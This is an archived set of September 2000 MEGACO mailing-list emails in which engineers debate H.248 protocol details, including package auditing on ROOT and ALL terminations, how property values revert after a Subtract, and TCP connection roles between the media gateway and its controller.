Received: from usa.alcatel.com (localhost [127.0.0.1]) by
          sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id PAA09092
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 11 Sep 2000 15:56:41
          -0500 (CDT)
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678859@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: multipart/alternative;
              boundary="------------43386EBB6F05906C8595D1AB"
Message-ID:  <39BD4708.635D2829@usa.alcatel.com>
Date:         Mon, 11 Sep 2000 15:56:41 -0500
Reply-To: Chuong Nguyen <Chuong.Nguyen@USA.ALCATEL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Chuong Nguyen <Chuong.Nguyen@USA.ALCATEL.COM>
Subject:      Re: Audit of Packages
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------43386EBB6F05906C8595D1AB
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Rosen, Brian" wrote:

> In some private correspondence, there was some continuing
> confusion on auditValue of Packages.  Here is my current
> understanding:
>
> 1. If you audit ROOT, using NULL context, you get the list
> of Packages implemented on ROOT. You don't get Packages
> implemented on any other terminations.
>
> 2. If you audit ALL, using NULL context, you get the union of
> packages implemented on any termination in NULL.  Since, right
> after boot, all terminations are in NULL, this is the normal
> way you get the list of packages implemented on the gateway.
> A notable side effect:
>         ROOT is not in ALL.
>         Therefore, Context=-{AuditValue=*{Audit{Packages}}}
>                 DOES NOT get you packages implemented on ROOT
>
> 3. If you audit ALL, using ALL context, you get the union
> of packages implemented on any termination in any Context other
> than NULL.  You would do this if you needed the packages list
> when some terminations were in contexts other than NULL.
>
> Please note that if you ask for an audit of ALL in ALL, and there
> are no terminations in Contexts other than NULL, you get an
> error (431 - No TerminationID matched a wildcard).
>

It will always be confusing if ALL does not always really mean ALL.

I guess it is ok as long as it is clearly stated somewhere.
But why restricts ALL to terminations not in the NULL context?



>
> Is that everyone else's understanding?
>
> Brian

--
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****



--------------43386EBB6F05906C8595D1AB
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
"Rosen, Brian" wrote:
<blockquote TYPE=CITE>In some private correspondence, there was some continuing
<br>confusion on auditValue of Packages.&nbsp; Here is my current
<br>understanding:
<p>1. If you audit ROOT, using NULL context, you get the list
<br>of Packages implemented on ROOT. You don't get Packages
<br>implemented on any other terminations.
<p>2. If you audit ALL, using NULL context, you get the union of
<br>packages implemented on any termination in NULL.&nbsp; Since, right
<br>after boot, all terminations are in NULL, this is the normal
<br>way you get the list of packages implemented on the gateway.
<br>A notable side effect:
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ROOT is not in ALL.
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Therefore, Context=-{AuditValue=*{Audit{Packages}}}
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
DOES NOT get you packages implemented on ROOT
<p>3. If you audit ALL, using ALL context, you get the union
<br>of packages implemented on any termination in any Context other
<br>than NULL.&nbsp; You would do this if you needed the packages list
<br>when some terminations were in contexts other than NULL.
<p>Please note that if you ask for an audit of ALL in ALL, and there
<br>are no terminations in Contexts other than NULL, you get an
<br>error (431 - No TerminationID matched a wildcard).
<br>&nbsp;</blockquote>
It will always be confusing if ALL does not always really mean ALL.
<p>I&nbsp;guess it is ok as long as it is clearly stated somewhere.
<br>But why restricts ALL&nbsp;to terminations not in the NULL&nbsp;context?
<br>&nbsp;
<br>&nbsp;
<blockquote TYPE=CITE>&nbsp;
<br>Is that everyone else's understanding?
<p>Brian</blockquote>

<pre>--&nbsp;
&nbsp; Alcatel USA, Inc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Internet: Chuong.Nguyen@usa.alcatel.com
&nbsp; 1000 Coit Road Plano, Texas 75075&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phone:&nbsp;&nbsp;&nbsp; (972) 519-4613
&nbsp; **** The opinions expressed are not those of Alcatel USA, Inc ****</pre>
&nbsp;</html>

--------------43386EBB6F05906C8595D1AB--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 17:22:49 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA09188
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 17:22:47 -0400 (EDT)
Received: from standards (47.234.32.16:1703) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB921CF@standards.nortelnetworks.com>; Mon, 11 Sep 2000 17:04:26 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0229 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 17:04:26 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB921CC@standards.nortelnetworks.com>; Mon, 11 Sep 2000 17:04:25
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id RAA29751; Mon, 11 Sep 2000 17:17:42 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id RAA12435; Mon, 11 Sep 2000 17:17:43 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SPQ8PRAX>; Mon, 11 Sep 2000 17:17:32 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="ISO-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF678862@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 11 Sep 2000 17:17:26 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "sgautam@hss.hns.com" <sgautam@hss.hns.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

There is text that says:
   When a provisioned Termination is Subtracted from a context, its
   property values shall revert to:
   * the default value, if specified for the property and not
     overridden by provisioning,
   * otherwise, the provisioned value.

So if it was provisioned, that is the value it reverts to.

Of course I think this is a small problem because it is
unpredictable.  The MGC does not know if the MG has provisioned
some value.  It has no way to find out, short of looking at the
value after cold start and seeing if it is different from the
package defined value.  If different, it could assume provisioning overrode
the package defined default.  If it was the same,
it doesn't really know, but the effect is roughly the same,
so long as the MG causes a ServiceChange if in fact it
is provisioned, and the provisioned value changed while there
was an active control association.

This means there is no point in having a package defined
default value -- the MGC must always audit, so that it can
figure out what value the property will revert to when the
termination is Subtracted.

As a practical matter:
        Default values defined in packages are (as of that
                change "last spring") meaningless
        All values must be audited upon startup
        All changes in provisioning when an active control
                association exists must be followed by
                a ServiceChange command from MG to MGC

Now, the REAL hard problem is failover of the MGC.  The
new MGC takes over an MG which could have terminations that
are in a context.  It has no idea what values they will assume
when the termination is subtracted.  Therefore, as a
practical matter, it must issue a Modify in Null Context in
the same transaction as the Subtract to set them to a value
it is comfortable with.  We better hope there are no
parameters that will "glitch" doing this, as it is not
possible to have the change be atomic.

In general, given the revert-to-default-or-provisioned rule,
I expect every Subtract will need to do this unless the MGC
knows that the default-or-provisioned value is what it wants
the value to be.  So, the rule is that you audit and save
that value.  When you Subtract, you compare the saved
value to what you want it to be.  If those are the same,
no Modify is needed.  If they differ, you put the Modify
as the next command following the Subtract in the Transaction.
If you are the failed over MGC, you always use the Modify
In this case you can never actually discover the provisioned
value unless you can safely "test" it by putting it a Context,
Subtracting it, and THEN auditing.

Not pretty, but at least it works (except for the glitch
possibility).  I liked the other way.

Brian


> -----Original Message-----
> From: sgautam@hss.hns.com [mailto:sgautam@hss.hns.com]
> Sent: Monday, September 11, 2000 2:30 AM
> To: Rosen, Brian
> Subject: Re: Can MGC modify term in NULL Context ?
>
>
>
>
> Hi,
>
> >> Now we have defined "default" to be what the package definition
> >>says it should be.
>
> Does 'default' refer to values as defined in packages...or do
> they refer to the
> values as provisioned on the termination ( by lets say an
> operator sitting on
> MG). For eg. when Tom mentioned that the correct way to deal
> with the Echo
> Cancellation problem was to set the provisioned value to
> 'off' for that
> termination, isnt it obvious that a termination would revert
> back to this
> 'provisioned' value after subtarct rather than the default
> 'on' as mentioned in
> the package?
>
> Or does this provisioned value becomes default for it?
>
> Thanx and regards,
> Sandy G
>
>
>
>
> "Rosen, Brian" <Brian.Rosen@MARCONI.COM> on 09/09/2000 02:26:22 AM
>
> Please respond to "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
>
> To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> cc:    (bcc: Sandeep Gautam/HSS)
>
> Subject:  Re: Can MGC modify term in NULL Context ?
>
>
>
>
>
> Now we have defined "default" to be what the package definition
> says it should be.
>
> Let's take, for example, tdmc/ec.  Suppose the MGC wanted to
> "permanently"
> disable echo cancel on a termination.  It sets
> tdmc/ec off in null context, and it stays off, unless the MGC
> turns it on for a particular call.
>
> I don't believe we ever changed that behavior, so somehow we
> screwed up the words.  Here is what the text used to say:
>
> "When a Termination is created, properties get their default
> values, unless
> the controller specifically sets a different value.  The
> default value of a
> property of a physical Termination can be changed by setting it to a
> different value when the Termination is in the null Context.
> Every time
> such a Termination returns to the null Context, the values of
> its properties
> are reset to this default value"
>
> Brian
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Friday, September 08, 2000 3:35 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> > Sorry, I have to contradict you on the second item.  See
> the last few
> > sentences of section 7.2.3.
> >
> > > -----Original Message-----
> > > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > > Sent: Friday, September 08, 2000 2:36 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Can MGC modify term in NULL Context ?
> > >
> > >
> > > > The question is that does the MG allow the MGC to change
> > the package
> > > > property values associated with a termination in NULL context ??
> > > For a physical termination, yes, absolutely
> > >
> > > >
> > > > And, if the answer is yes does this change the default values of
> > > > the package properties associated with the termination.
> > > > OR, does it only modify the properties temporarily for
> now. If the
> > > > termination is subsequently added and subtracted to and from
> > > > a context,
> > > > respectively the property values change to the default values
> > > > before MGC modified them in NULL context.
> > > It changes the current value, and the termination returns to
> > > this value when it is subtracted.  You can think of this as
> > > changing the default value, although it's volatile.
> > >
> > > Brian
> > >
> >
>
>
>
>
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 17:48:17 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA09413
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 17:48:16 -0400 (EDT)
Received: from standards (47.234.32.16:1703) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92210@standards.nortelnetworks.com>; Mon, 11 Sep 2000 17:30:33 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0300 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 17:30:33 -0400
Received: from netmail2.alcatel.com (hosta833.alcatel.com) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92207@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          17:20:33 -0400
Received: from relay1.usa.alcatel.com (relay1.usa.alcatel.com [143.209.238.6])
          by netmail2.alcatel.com (8.9.1/8.9.1) with ESMTP id QAA05523 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 11 Sep 2000 16:33:06
          -0500 (CDT)
Received: from ssd.usa.alcatel.com (localhost [127.0.0.1]) by
          relay1.usa.alcatel.com (8.9.3/8.9.3) with ESMTP id QAA24713 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 11 Sep 2000 16:34:42
          -0500 (CDT)
Received: from sun1654.ssd.usa.alcatel.com (sun1654.ssd.usa.alcatel.com
          [143.209.153.117]) by ssd.usa.alcatel.com (8.8.8+Sun/8.8.8) with
          ESMTP id QAA10031 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 11
          Sep 2000 16:32:40 -0500 (CDT)
Received: from usa.alcatel.com (localhost [127.0.0.1]) by
          sun1654.ssd.usa.alcatel.com (8.9.3+Sun/8.9.1) with ESMTP id QAA09153
          for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 11 Sep 2000 16:32:39
          -0500 (CDT)
X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678851@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: multipart/alternative;
              boundary="------------A2896A48DD9EB9F60F3661C8"
Message-ID:  <39BD4F76.C58CCA0B@usa.alcatel.com>
Date:         Mon, 11 Sep 2000 16:32:39 -0500
Reply-To: Chuong Nguyen <Chuong.Nguyen@USA.ALCATEL.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Chuong Nguyen <Chuong.Nguyen@USA.ALCATEL.COM>
Subject:      Re: Use of Service Change Address
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--------------A2896A48DD9EB9F60F3661C8
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

"Rosen, Brian" wrote:

> > And this looks like a situation where the MGC would be justified in
> > initiating a new TCP connection.  Does anyone else care to comment?
>
> Yes!  I don't think this is such a case if I understand it
> (I don't think there CAN be such a case).
>
> The problem statement is multihomed host with multiple network
> addresses, and neither the MG nor the MGC redundant.
>
> First of all, the protocol as currently defined does not have
> any procedures for multihomed hosts, thus anything we discuss
> here is at best some suggested behavior, at worst an extension.
> Whatever is done has to be implemented in both MG and MGC,
> and thus invites interoperability issues.
> For this scenario, the real answer is, "use SCTP".
>
> Second, the MG, noting that the link is dead, could request
> creation of another link.
>
> Third, I'd add a reason code to cover this case, which would
> cause the MG to request a new link, to be sent over one of
> the live connections.
>
> In no case would I see the MGC initiating control associations.
> That's not how the protocol is defined, and as noted, we do
> not wish the MG to have to have a TCP server.
>

Tom,
I am from the MGC side and I agree w/Brian that MG should not have a TCP
server.
With the defintion of Service Change Methods as defined, I don't see any
scenario that would require
MG to have a TCP server.

There was a discussion back sometimes about lost MG.
It would save time if MGC knew that the MG has lost
it connections and was hopelessly searching through it lists of MGC to
try.
It would have been quicker for MGC to establish a connection to MG to tell
it which MGC can
service the lost MG.
But this somehow violates the original intend of MG going through it lists
of MGC to try in
trying to initiate a control associations w/an MGC.

For v1, can't we just decide that MG does not have TCP server?
IF a need does arise later, it can be changed.
Maybe I am wrong but I don't see any backward compatability issue if a
change is required later.







>
> Brian
> >
> > > -----Original Message-----
> > > From: Prashant Jain [mailto:prjain@HSS.HNS.COM]
> > > Sent: Sunday, September 10, 2000 8:33 AM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Use of Service Change Address
> > >
> > >
> > > Hi Brian, Tom, List,
> > >
> > > Can the Service Change Address Parameter be used in the
> > > following scenario:
> > >
> > > Consider MG/MGC application running over a multi-homed host
> > > with a single copy
> > > or multiple redundant copies of TCP/IP
> > > Stack in the case of IP networks. Here it is assumed that
> > > MG/MGC application do
> > > not support redundancy at their level.
> > >
> > > Now, if any network interface card or an active copy of
> > > TCP/IP Stack fails,
> > > System management running in the system may wish to
> > > change the local ID i.e. may use another card  or use the
> > > standby copy with
> > > different IP address configured for it.  In this scenario, protocol
> > > must  specify a way to communicate this information (of Local
> > > Address Change) to
> > > the other entity without breaking the existing association.
> > >
> > > As per the current text of the protocol,  can we send a
> > > Service Change Request
> > > to the other entity with DISCONNECTED method, Service Change
> > > Reason as  "Loss of
> > > Lower Layer Connectivity" and Service Change Address as the
> > > new specified local
> > > address to take care of the above scenario.
> > >
> > > Please do reply.
> > >
> > > Prashant Jain
> > > HUghes Software Systems
> > >
> >

--
  Alcatel USA, Inc             Internet: Chuong.Nguyen@usa.alcatel.com
  1000 Coit Road Plano, Texas 75075           Phone:    (972) 519-4613
  **** The opinions expressed are not those of Alcatel USA, Inc ****



--------------A2896A48DD9EB9F60F3661C8
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>
"Rosen, Brian" wrote:
<blockquote TYPE=CITE>> And this looks like a situation where the MGC would
be justified in
<br>> initiating a new TCP connection.&nbsp; Does anyone else care to comment?
<p>Yes!&nbsp; I don't think this is such a case if I understand it
<br>(I don't think there CAN be such a case).
<p>The problem statement is multihomed host with multiple network
<br>addresses, and neither the MG nor the MGC redundant.
<p>First of all, the protocol as currently defined does not have
<br>any procedures for multihomed hosts, thus anything we discuss
<br>here is at best some suggested behavior, at worst an extension.
<br>Whatever is done has to be implemented in both MG and MGC,
<br>and thus invites interoperability issues.
<br>For this scenario, the real answer is, "use SCTP".
<p>Second, the MG, noting that the link is dead, could request
<br>creation of another link.
<p>Third, I'd add a reason code to cover this case, which would
<br>cause the MG to request a new link, to be sent over one of
<br>the live connections.
<p>In no case would I see the MGC initiating control associations.
<br>That's not how the protocol is defined, and as noted, we do
<br>not wish the MG to have to have a TCP server.
<br>&nbsp;</blockquote>
Tom,
<br>I&nbsp;am from the MGC side and I&nbsp;agree w/Brian that MG should
not have a TCP server.
<br>With the defintion of Service Change Methods as defined, I&nbsp;don't
see any scenario that would require
<br>MG to have a TCP&nbsp;server.
<p>There was a discussion back sometimes about lost MG.
<br>It would save time if MGC knew that the MG has lost
<br>it connections and was hopelessly searching through it lists of MGC&nbsp;to
try.
<br>It would have been quicker for MGC to establish a connection to MG&nbsp;to
tell it which MGC can
<br>service the lost MG.
<br>But this somehow violates the original intend of MG going through it
lists of MGC to try in
<br>trying to initiate a control associations w/an MGC.
<p>For v1, can't we just decide that MG does not have TCP&nbsp;server?
<br>IF a need does arise later, it can be changed.
<br>Maybe I&nbsp;am wrong but I&nbsp;don't see any backward compatability
issue if a change is required later.
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<br>&nbsp;
<blockquote TYPE=CITE>&nbsp;
<br>Brian
<br>>
<br>> > -----Original Message-----
<br>> > From: Prashant Jain [<a href="mailto:prjain@HSS.HNS.COM">mailto:prjain@HSS.HNS.COM</a>]
<br>> > Sent: Sunday, September 10, 2000 8:33 AM
<br>> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
<br>> > Subject: Use of Service Change Address
<br>> >
<br>> >
<br>> > Hi Brian, Tom, List,
<br>> >
<br>> > Can the Service Change Address Parameter be used in the
<br>> > following scenario:
<br>> >
<br>> > Consider MG/MGC application running over a multi-homed host
<br>> > with a single copy
<br>> > or multiple redundant copies of TCP/IP
<br>> > Stack in the case of IP networks. Here it is assumed that
<br>> > MG/MGC application do
<br>> > not support redundancy at their level.
<br>> >
<br>> > Now, if any network interface card or an active copy of
<br>> > TCP/IP Stack fails,
<br>> > System management running in the system may wish to
<br>> > change the local ID i.e. may use another card&nbsp; or use the
<br>> > standby copy with
<br>> > different IP address configured for it.&nbsp; In this scenario,
protocol
<br>> > must&nbsp; specify a way to communicate this information (of Local
<br>> > Address Change) to
<br>> > the other entity without breaking the existing association.
<br>> >
<br>> > As per the current text of the protocol,&nbsp; can we send a
<br>> > Service Change Request
<br>> > to the other entity with DISCONNECTED method, Service Change
<br>> > Reason as&nbsp; "Loss of
<br>> > Lower Layer Connectivity" and Service Change Address as the
<br>> > new specified local
<br>> > address to take care of the above scenario.
<br>> >
<br>> > Please do reply.
<br>> >
<br>> > Prashant Jain
<br>> > HUghes Software Systems
<br>> >
<br>></blockquote>

<pre>--&nbsp;
&nbsp; Alcatel USA, Inc&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Internet: Chuong.Nguyen@usa.alcatel.com
&nbsp; 1000 Coit Road Plano, Texas 75075&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Phone:&nbsp;&nbsp;&nbsp; (972) 519-4613
&nbsp; **** The opinions expressed are not those of Alcatel USA, Inc ****</pre>
&nbsp;</html>

--------------A2896A48DD9EB9F60F3661C8--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep 11 18:46:58 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA09713
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 11 Sep 2000 18:46:57 -0400 (EDT)
Received: from standards (47.234.32.16:4393) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB92264@standards.nortelnetworks.com>; Mon, 11 Sep 2000 18:32:03 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 0411 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 11 Sep 2000 18:32:03 -0400
Received: from ish7.ericsson.com.au (203.61.155.111:65509) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB92263@standards.nortelnetworks.com>; Mon, 11 Sep 2000
          18:22:01 -0400
Received: from brsi02.epa.ericsson.se (igw2.ericsson.com.au [203.61.155.10]) by
          ish7.ericsson.com.au (8.9.3+Sun/8.9.3) with ESMTP id IAA11293; Tue,
          12 Sep 2000 08:32:59 +1000 (EST)
Received: from eaubrnt019.epa.ericsson.se (eaubrnt019 [146.11.9.165]) by
          brsi02.epa.ericsson.se (8.9.1/8.9.1) with ESMTP id JAA13073; Tue, 12
          Sep 2000 09:34:53 +1100 (EST)
Received: from ericsson.com.au (7-107.epa.ericsson.se [146.11.7.107]) by
          eaubrnt019.epa.ericsson.se with SMTP (Microsoft Exchange Internet
          Mail Service Version 5.5.2650.21) id SHKNH3AP; Tue, 12 Sep 2000
          09:34:16 +1100
X-Mailer: Mozilla 4.72 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF678862@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: multipart/mixed; boundary="------------7C451CFEFBE95C7EE372F74C"
Message-ID:  <39BD5DE5.ACF195B7@ericsson.com.au>
Date:         Tue, 12 Sep 2000 09:34:13 +1100
Reply-To: Paul Hollis <paul.hollis@ERICSSON.COM.AU>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Paul Hollis <paul.hollis@ERICSSON.COM.AU>
Organization: Ericsson Australia
Subject:      Re: Can MGC modify term in NULL Context ?
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This is a multi-part message in MIME format.
--------------7C451CFEFBE95C7EE372F74C
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

G'day,

I must admit I liked it the way it used to be, when the MGC was allowed to
modify the default value while it was in the NULL context. This way the MGC was
in control. Now the MGC doesn't know, unless it does audits, or explicitly sets
the value while doing ADDs. It seems there is no point in having default values
any more.

Regards Paul.


"Rosen, Brian" wrote:

> There is text that says:
>    When a provisioned Termination is Subtracted from a context, its
>    property values shall revert to:
>    * the default value, if specified for the property and not
>      overridden by provisioning,
>    * otherwise, the provisioned value.
>
> So if it was provisioned, that is the value it reverts to.
>
> Of course I think this is a small problem because it is
> unpredictable.  The MGC does not know if the MG has provisioned
> some value.  It has no way to find out, short of looking at the
> value after cold start and seeing if it is different from the
> package defined value.  If different, it could assume provisioning overrode
> the package defined default.  If it was the same,
> it doesn't really know, but the effect is roughly the same,
> so long as the MG causes a ServiceChange if in fact it
> is provisioned, and the provisioned value changed while there
> was an active control association.
>
> This means there is no point in having a package defined
> default value -- the MGC must always audit, so that it can
> figure out what value the property will revert to when the
> termination is Subtracted.
>
> As a practical matter:
>         Default values defined in packages are (as of that
>                 change "last spring") meaningless
>         All values must be audited upon startup
>         All changes in provisioning when an active control
>                 association exists must be followed by
>                 a ServiceChange command from MG to MGC
>
> Now, the REAL hard problem is failover of the MGC.  The
> new MGC takes over an MG which could have terminations that
> are in a context.  It has no idea what values they will assume
> when the termination is subtracted.  Therefore, as a
> practical matter, it must issue a Modify in Null Context in
> the same transaction as the Subtract to set them to a value
> it is comfortable with.  We better hope there are no
> parameters that will "glitch" doing this, as it is not
> possible to have the change be atomic.
>
> In general, given the revert-to-default-or-provisioned rule,
> I expect every Subtract will need to do this unless the MGC
> knows that the default-or-provisioned value is what it wants
> the value to be.  So, the rule is that you audit and save
> that value.  When you Subtract, you compare the saved
> value to what you want it to be.  If those are the same,
> no Modify is needed.  If they differ, you put the Modify
> as the next command following the Subtract in the Transaction.
> If you are the failed over MGC, you always use the Modify
> In this case you can never actually discover the provisioned
> value unless you can safely "test" it by putting it a Context,
> Subtracting it, and THEN auditing.
>
> Not pretty, but at least it works (except for the glitch
> possibility).  I liked the other way.
>
> Brian
>
> > -----Original Message-----
> > From: sgautam@hss.hns.com [mailto:sgautam@hss.hns.com]
> > Sent: Monday, September 11, 2000 2:30 AM
> > To: Rosen, Brian
> > Subject: Re: Can MGC modify term in NULL Context ?
> >
> >
> >
> >
> > Hi,
> >
> > >> Now we have defined "default" to be what the package definition
> > >>says it should be.
> >
> > Does 'default' refer to values as defined in packages...or do
> > they refer to the
> > values as provisioned on the termination ( by lets say an
> > operator sitting on
> > MG). For eg. when Tom mentioned that the correct way to deal
> > with the Echo
> > Cancellation problem was to set the provisioned value to
> > 'off' for that
> > termination, isnt it obvious that a termination would revert
> > back to this
> > 'provisioned' value after subtarct rather than the default
> > 'on' as mentioned in
> > the package?
> >
> > Or does this provisioned value becomes default for it?
> >
> > Thanx and regards,
> > Sandy G
> >
> >
> >
> >
> > "Rosen, Brian" <Brian.Rosen@MARCONI.COM> on 09/09/2000 02:26:22 AM
> >
> > Please respond to "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
> >
> > To:   MEGACO@STANDARDS.NORTELNETWORKS.COM
> > cc:    (bcc: Sandeep Gautam/HSS)
> >
> > Subject:  Re: Can MGC modify term in NULL Context ?
> >
> >
> >
> >
> >
> > Now we have defined "default" to be what the package definition
> > says it should be.
> >
> > Let's take, for example, tdmc/ec.  Suppose the MGC wanted to
> > "permanently"
> > disable echo cancel on a termination.  It sets
> > tdmc/ec off in null context, and it stays off, unless the MGC
> > turns it on for a particular call.
> >
> > I don't believe we ever changed that behavior, so somehow we
> > screwed up the words.  Here is what the text used to say:
> >
> > "When a Termination is created, properties get their default
> > values, unless
> > the controller specifically sets a different value.  The
> > default value of a
> > property of a physical Termination can be changed by setting it to a
> > different value when the Termination is in the null Context.
> > Every time
> > such a Termination returns to the null Context, the values of
> > its properties
> > are reset to this default value"
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > > Sent: Friday, September 08, 2000 3:35 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Can MGC modify term in NULL Context ?
> > >
> > >
> > > Sorry, I have to contradict you on the second item.  See
> > the last few
> > > sentences of section 7.2.3.
> > >
> > > > -----Original Message-----
> > > > From: Rosen, Brian [mailto:Brian.Rosen@MARCONI.COM]
> > > > Sent: Friday, September 08, 2000 2:36 PM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Can MGC modify term in NULL Context ?
> > > >
> > > >
> > > > > The question is that does the MG allow the MGC to change
> > > the package
> > > > > property values associated with a termination in NULL context ??
> > > > For a physical termination, yes, absolutely
> > > >
> > > > >
> > > > > And, if the answer is yes does this change the default values of
> > > > > the package properties associated with the termination.
> > > > > OR, does it only modify the properties temporarily for
> > now. If the
> > > > > termination is subsequently added and subtracted to and from
> > > > > a context,
> > > > > respectively the property values change to the default values
> > > > > before MGC modified them in NULL context.
> > > > It changes the current value, and the termination returns to
> > > > this value when it is subtracted.  You can think of this as
> > > > changing the default value, although it's volatile.
